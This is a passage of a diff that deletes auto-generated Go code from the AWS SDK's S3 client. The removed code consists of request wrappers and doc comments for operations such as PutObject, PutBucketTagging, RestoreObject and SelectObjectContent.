"/{Bucket}?requestPayment", - } - - if input == nil { - input = &PutBucketRequestPaymentInput{} - } - - output = &PutBucketRequestPaymentOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketRequestPayment API operation for Amazon Simple Storage Service. -// -// Sets the request payment configuration for a bucket. By default, the bucket -// owner pays for downloads from the bucket. This configuration parameter enables -// the bucket owner (only) to specify that the person requesting the download -// will be charged for the download. Documentation on requester pays buckets -// can be found at http://docs.aws.amazon.com/AmazonS3/latest/dev/RequesterPaysBuckets.html -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketRequestPayment for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketRequestPayment -func (c *S3) PutBucketRequestPayment(input *PutBucketRequestPaymentInput) (*PutBucketRequestPaymentOutput, error) { - req, out := c.PutBucketRequestPaymentRequest(input) - return out, req.Send() -} - -// PutBucketRequestPaymentWithContext is the same as PutBucketRequestPayment with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketRequestPayment for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketRequestPaymentWithContext(ctx aws.Context, input *PutBucketRequestPaymentInput, opts ...request.Option) (*PutBucketRequestPaymentOutput, error) { - req, out := c.PutBucketRequestPaymentRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketTagging = "PutBucketTagging" - -// PutBucketTaggingRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketTagging operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketTagging for more information on using the PutBucketTagging -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketTaggingRequest method. -// req, resp := client.PutBucketTaggingRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketTagging -func (c *S3) PutBucketTaggingRequest(input *PutBucketTaggingInput) (req *request.Request, output *PutBucketTaggingOutput) { - op := &request.Operation{ - Name: opPutBucketTagging, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?tagging", - } - - if input == nil { - input = &PutBucketTaggingInput{} - } - - output = &PutBucketTaggingOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketTagging API operation for Amazon Simple Storage Service. -// -// Sets the tags for a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketTagging for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketTagging -func (c *S3) PutBucketTagging(input *PutBucketTaggingInput) (*PutBucketTaggingOutput, error) { - req, out := c.PutBucketTaggingRequest(input) - return out, req.Send() -} - -// PutBucketTaggingWithContext is the same as PutBucketTagging with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketTagging for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketTaggingWithContext(ctx aws.Context, input *PutBucketTaggingInput, opts ...request.Option) (*PutBucketTaggingOutput, error) { - req, out := c.PutBucketTaggingRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketVersioning = "PutBucketVersioning" - -// PutBucketVersioningRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketVersioning operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketVersioning for more information on using the PutBucketVersioning -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketVersioningRequest method. -// req, resp := client.PutBucketVersioningRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketVersioning -func (c *S3) PutBucketVersioningRequest(input *PutBucketVersioningInput) (req *request.Request, output *PutBucketVersioningOutput) { - op := &request.Operation{ - Name: opPutBucketVersioning, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?versioning", - } - - if input == nil { - input = &PutBucketVersioningInput{} - } - - output = &PutBucketVersioningOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketVersioning API operation for Amazon Simple Storage Service. -// -// Sets the versioning state of an existing bucket. To set the versioning state, -// you must be the bucket owner. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketVersioning for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketVersioning -func (c *S3) PutBucketVersioning(input *PutBucketVersioningInput) (*PutBucketVersioningOutput, error) { - req, out := c.PutBucketVersioningRequest(input) - return out, req.Send() -} - -// PutBucketVersioningWithContext is the same as PutBucketVersioning with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketVersioning for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketVersioningWithContext(ctx aws.Context, input *PutBucketVersioningInput, opts ...request.Option) (*PutBucketVersioningOutput, error) { - req, out := c.PutBucketVersioningRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketWebsite = "PutBucketWebsite" - -// PutBucketWebsiteRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketWebsite operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketWebsite for more information on using the PutBucketWebsite -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketWebsiteRequest method. -// req, resp := client.PutBucketWebsiteRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketWebsite -func (c *S3) PutBucketWebsiteRequest(input *PutBucketWebsiteInput) (req *request.Request, output *PutBucketWebsiteOutput) { - op := &request.Operation{ - Name: opPutBucketWebsite, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?website", - } - - if input == nil { - input = &PutBucketWebsiteInput{} - } - - output = &PutBucketWebsiteOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketWebsite API operation for Amazon Simple Storage Service. -// -// Set the website configuration for a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketWebsite for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketWebsite -func (c *S3) PutBucketWebsite(input *PutBucketWebsiteInput) (*PutBucketWebsiteOutput, error) { - req, out := c.PutBucketWebsiteRequest(input) - return out, req.Send() -} - -// PutBucketWebsiteWithContext is the same as PutBucketWebsite with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketWebsite for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketWebsiteWithContext(ctx aws.Context, input *PutBucketWebsiteInput, opts ...request.Option) (*PutBucketWebsiteOutput, error) { - req, out := c.PutBucketWebsiteRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutObject = "PutObject" - -// PutObjectRequest generates a "aws/request.Request" representing the -// client's request for the PutObject operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutObject for more information on using the PutObject -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutObjectRequest method. -// req, resp := client.PutObjectRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObject -func (c *S3) PutObjectRequest(input *PutObjectInput) (req *request.Request, output *PutObjectOutput) { - op := &request.Operation{ - Name: opPutObject, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &PutObjectInput{} - } - - output = &PutObjectOutput{} - req = c.newRequest(op, input, output) - return -} - -// PutObject API operation for Amazon Simple Storage Service. -// -// Adds an object to a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutObject for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObject -func (c *S3) PutObject(input *PutObjectInput) (*PutObjectOutput, error) { - req, out := c.PutObjectRequest(input) - return out, req.Send() -} - -// PutObjectWithContext is the same as PutObject with the addition of -// the ability to pass a context and additional request options. -// -// See PutObject for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutObjectWithContext(ctx aws.Context, input *PutObjectInput, opts ...request.Option) (*PutObjectOutput, error) { - req, out := c.PutObjectRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutObjectAcl = "PutObjectAcl" - -// PutObjectAclRequest generates a "aws/request.Request" representing the -// client's request for the PutObjectAcl operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutObjectAcl for more information on using the PutObjectAcl -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutObjectAclRequest method. -// req, resp := client.PutObjectAclRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectAcl -func (c *S3) PutObjectAclRequest(input *PutObjectAclInput) (req *request.Request, output *PutObjectAclOutput) { - op := &request.Operation{ - Name: opPutObjectAcl, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}/{Key+}?acl", - } - - if input == nil { - input = &PutObjectAclInput{} - } - - output = &PutObjectAclOutput{} - req = c.newRequest(op, input, output) - return -} - -// PutObjectAcl API operation for Amazon Simple Storage Service. -// -// uses the acl subresource to set the access control list (ACL) permissions -// for an object that already exists in a bucket -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutObjectAcl for usage and error information. -// -// Returned Error Codes: -// * ErrCodeNoSuchKey "NoSuchKey" -// The specified key does not exist. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectAcl -func (c *S3) PutObjectAcl(input *PutObjectAclInput) (*PutObjectAclOutput, error) { - req, out := c.PutObjectAclRequest(input) - return out, req.Send() -} - -// PutObjectAclWithContext is the same as PutObjectAcl with the addition of -// the ability to pass a context and additional request options. -// -// See PutObjectAcl for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutObjectAclWithContext(ctx aws.Context, input *PutObjectAclInput, opts ...request.Option) (*PutObjectAclOutput, error) { - req, out := c.PutObjectAclRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutObjectLegalHold = "PutObjectLegalHold" - -// PutObjectLegalHoldRequest generates a "aws/request.Request" representing the -// client's request for the PutObjectLegalHold operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutObjectLegalHold for more information on using the PutObjectLegalHold -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutObjectLegalHoldRequest method. -// req, resp := client.PutObjectLegalHoldRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectLegalHold -func (c *S3) PutObjectLegalHoldRequest(input *PutObjectLegalHoldInput) (req *request.Request, output *PutObjectLegalHoldOutput) { - op := &request.Operation{ - Name: opPutObjectLegalHold, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}/{Key+}?legal-hold", - } - - if input == nil { - input = &PutObjectLegalHoldInput{} - } - - output = &PutObjectLegalHoldOutput{} - req = c.newRequest(op, input, output) - return -} - -// PutObjectLegalHold API operation for Amazon Simple Storage Service. -// -// Applies a Legal Hold configuration to the specified object. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutObjectLegalHold for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectLegalHold -func (c *S3) PutObjectLegalHold(input *PutObjectLegalHoldInput) (*PutObjectLegalHoldOutput, error) { - req, out := c.PutObjectLegalHoldRequest(input) - return out, req.Send() -} - -// PutObjectLegalHoldWithContext is the same as PutObjectLegalHold with the addition of -// the ability to pass a context and additional request options. -// -// See PutObjectLegalHold for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutObjectLegalHoldWithContext(ctx aws.Context, input *PutObjectLegalHoldInput, opts ...request.Option) (*PutObjectLegalHoldOutput, error) { - req, out := c.PutObjectLegalHoldRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutObjectLockConfiguration = "PutObjectLockConfiguration" - -// PutObjectLockConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the PutObjectLockConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutObjectLockConfiguration for more information on using the PutObjectLockConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutObjectLockConfigurationRequest method. -// req, resp := client.PutObjectLockConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectLockConfiguration -func (c *S3) PutObjectLockConfigurationRequest(input *PutObjectLockConfigurationInput) (req *request.Request, output *PutObjectLockConfigurationOutput) { - op := &request.Operation{ - Name: opPutObjectLockConfiguration, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?object-lock", - } - - if input == nil { - input = &PutObjectLockConfigurationInput{} - } - - output = &PutObjectLockConfigurationOutput{} - req = c.newRequest(op, input, output) - return -} - -// PutObjectLockConfiguration API operation for Amazon Simple Storage Service. -// -// Places an Object Lock configuration on the specified bucket. The rule specified -// in the Object Lock configuration will be applied by default to every new -// object placed in the specified bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutObjectLockConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectLockConfiguration -func (c *S3) PutObjectLockConfiguration(input *PutObjectLockConfigurationInput) (*PutObjectLockConfigurationOutput, error) { - req, out := c.PutObjectLockConfigurationRequest(input) - return out, req.Send() -} - -// PutObjectLockConfigurationWithContext is the same as PutObjectLockConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See PutObjectLockConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutObjectLockConfigurationWithContext(ctx aws.Context, input *PutObjectLockConfigurationInput, opts ...request.Option) (*PutObjectLockConfigurationOutput, error) { - req, out := c.PutObjectLockConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutObjectRetention = "PutObjectRetention" - -// PutObjectRetentionRequest generates a "aws/request.Request" representing the -// client's request for the PutObjectRetention operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutObjectRetention for more information on using the PutObjectRetention -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutObjectRetentionRequest method. -// req, resp := client.PutObjectRetentionRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectRetention -func (c *S3) PutObjectRetentionRequest(input *PutObjectRetentionInput) (req *request.Request, output *PutObjectRetentionOutput) { - op := &request.Operation{ - Name: opPutObjectRetention, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}/{Key+}?retention", - } - - if input == nil { - input = &PutObjectRetentionInput{} - } - - output = &PutObjectRetentionOutput{} - req = c.newRequest(op, input, output) - return -} - -// PutObjectRetention API operation for Amazon Simple Storage Service. -// -// Places an Object Retention configuration on an object. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutObjectRetention for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectRetention -func (c *S3) PutObjectRetention(input *PutObjectRetentionInput) (*PutObjectRetentionOutput, error) { - req, out := c.PutObjectRetentionRequest(input) - return out, req.Send() -} - -// PutObjectRetentionWithContext is the same as PutObjectRetention with the addition of -// the ability to pass a context and additional request options. -// -// See PutObjectRetention for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutObjectRetentionWithContext(ctx aws.Context, input *PutObjectRetentionInput, opts ...request.Option) (*PutObjectRetentionOutput, error) { - req, out := c.PutObjectRetentionRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutObjectTagging = "PutObjectTagging" - -// PutObjectTaggingRequest generates a "aws/request.Request" representing the -// client's request for the PutObjectTagging operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutObjectTagging for more information on using the PutObjectTagging -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutObjectTaggingRequest method. -// req, resp := client.PutObjectTaggingRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectTagging -func (c *S3) PutObjectTaggingRequest(input *PutObjectTaggingInput) (req *request.Request, output *PutObjectTaggingOutput) { - op := &request.Operation{ - Name: opPutObjectTagging, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}/{Key+}?tagging", - } - - if input == nil { - input = &PutObjectTaggingInput{} - } - - output = &PutObjectTaggingOutput{} - req = c.newRequest(op, input, output) - return -} - -// PutObjectTagging API operation for Amazon Simple Storage Service. -// -// Sets the supplied tag-set to an object that already exists in a bucket -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutObjectTagging for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectTagging -func (c *S3) PutObjectTagging(input *PutObjectTaggingInput) (*PutObjectTaggingOutput, error) { - req, out := c.PutObjectTaggingRequest(input) - return out, req.Send() -} - -// PutObjectTaggingWithContext is the same as PutObjectTagging with the addition of -// the ability to pass a context and additional request options. -// -// See PutObjectTagging for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutObjectTaggingWithContext(ctx aws.Context, input *PutObjectTaggingInput, opts ...request.Option) (*PutObjectTaggingOutput, error) { - req, out := c.PutObjectTaggingRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutPublicAccessBlock = "PutPublicAccessBlock" - -// PutPublicAccessBlockRequest generates a "aws/request.Request" representing the -// client's request for the PutPublicAccessBlock operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutPublicAccessBlock for more information on using the PutPublicAccessBlock -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutPublicAccessBlockRequest method. -// req, resp := client.PutPublicAccessBlockRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutPublicAccessBlock -func (c *S3) PutPublicAccessBlockRequest(input *PutPublicAccessBlockInput) (req *request.Request, output *PutPublicAccessBlockOutput) { - op := &request.Operation{ - Name: opPutPublicAccessBlock, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?publicAccessBlock", - } - - if input == nil { - input = &PutPublicAccessBlockInput{} - } - - output = &PutPublicAccessBlockOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutPublicAccessBlock API operation for Amazon Simple Storage Service. -// -// Creates or modifies the PublicAccessBlock configuration for an Amazon S3 -// bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutPublicAccessBlock for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutPublicAccessBlock -func (c *S3) PutPublicAccessBlock(input *PutPublicAccessBlockInput) (*PutPublicAccessBlockOutput, error) { - req, out := c.PutPublicAccessBlockRequest(input) - return out, req.Send() -} - -// PutPublicAccessBlockWithContext is the same as PutPublicAccessBlock with the addition of -// the ability to pass a context and additional request options. -// -// See PutPublicAccessBlock for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutPublicAccessBlockWithContext(ctx aws.Context, input *PutPublicAccessBlockInput, opts ...request.Option) (*PutPublicAccessBlockOutput, error) { - req, out := c.PutPublicAccessBlockRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opRestoreObject = "RestoreObject" - -// RestoreObjectRequest generates a "aws/request.Request" representing the -// client's request for the RestoreObject operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See RestoreObject for more information on using the RestoreObject -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the RestoreObjectRequest method. -// req, resp := client.RestoreObjectRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/RestoreObject -func (c *S3) RestoreObjectRequest(input *RestoreObjectInput) (req *request.Request, output *RestoreObjectOutput) { - op := &request.Operation{ - Name: opRestoreObject, - HTTPMethod: "POST", - HTTPPath: "/{Bucket}/{Key+}?restore", - } - - if input == nil { - input = &RestoreObjectInput{} - } - - output = &RestoreObjectOutput{} - req = c.newRequest(op, input, output) - return -} - -// RestoreObject API operation for Amazon Simple Storage Service. -// -// Restores an archived copy of an object back into Amazon S3 -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation RestoreObject for usage and error information. -// -// Returned Error Codes: -// * ErrCodeObjectAlreadyInActiveTierError "ObjectAlreadyInActiveTierError" -// This operation is not allowed against this storage tier -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/RestoreObject -func (c *S3) RestoreObject(input *RestoreObjectInput) (*RestoreObjectOutput, error) { - req, out := c.RestoreObjectRequest(input) - return out, req.Send() -} - -// RestoreObjectWithContext is the same as RestoreObject with the addition of -// the ability to pass a context and additional request options. -// -// See RestoreObject for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) RestoreObjectWithContext(ctx aws.Context, input *RestoreObjectInput, opts ...request.Option) (*RestoreObjectOutput, error) { - req, out := c.RestoreObjectRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opSelectObjectContent = "SelectObjectContent" - -// SelectObjectContentRequest generates a "aws/request.Request" representing the -// client's request for the SelectObjectContent operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See SelectObjectContent for more information on using the SelectObjectContent -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the SelectObjectContentRequest method. -// req, resp := client.SelectObjectContentRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/SelectObjectContent -func (c *S3) SelectObjectContentRequest(input *SelectObjectContentInput) (req *request.Request, output *SelectObjectContentOutput) { - op := &request.Operation{ - Name: opSelectObjectContent, - HTTPMethod: "POST", - HTTPPath: "/{Bucket}/{Key+}?select&select-type=2", - } - - if input == nil { - input = &SelectObjectContentInput{} - } - - output = &SelectObjectContentOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Send.Swap(client.LogHTTPResponseHandler.Name, client.LogHTTPResponseHeaderHandler) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, rest.UnmarshalHandler) - req.Handlers.Unmarshal.PushBack(output.runEventStreamLoop) - return -} - -// SelectObjectContent API operation for Amazon Simple Storage Service. -// -// This operation filters the contents of an Amazon S3 object based on a simple -// Structured Query Language (SQL) statement. In the request, along with the -// SQL expression, you must also specify a data serialization format (JSON or -// CSV) of the object. Amazon S3 uses this to parse object data into records, -// and returns only records that match the specified SQL expression. You must -// also specify the data serialization format for the response. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation SelectObjectContent for usage and error information. -// See also, 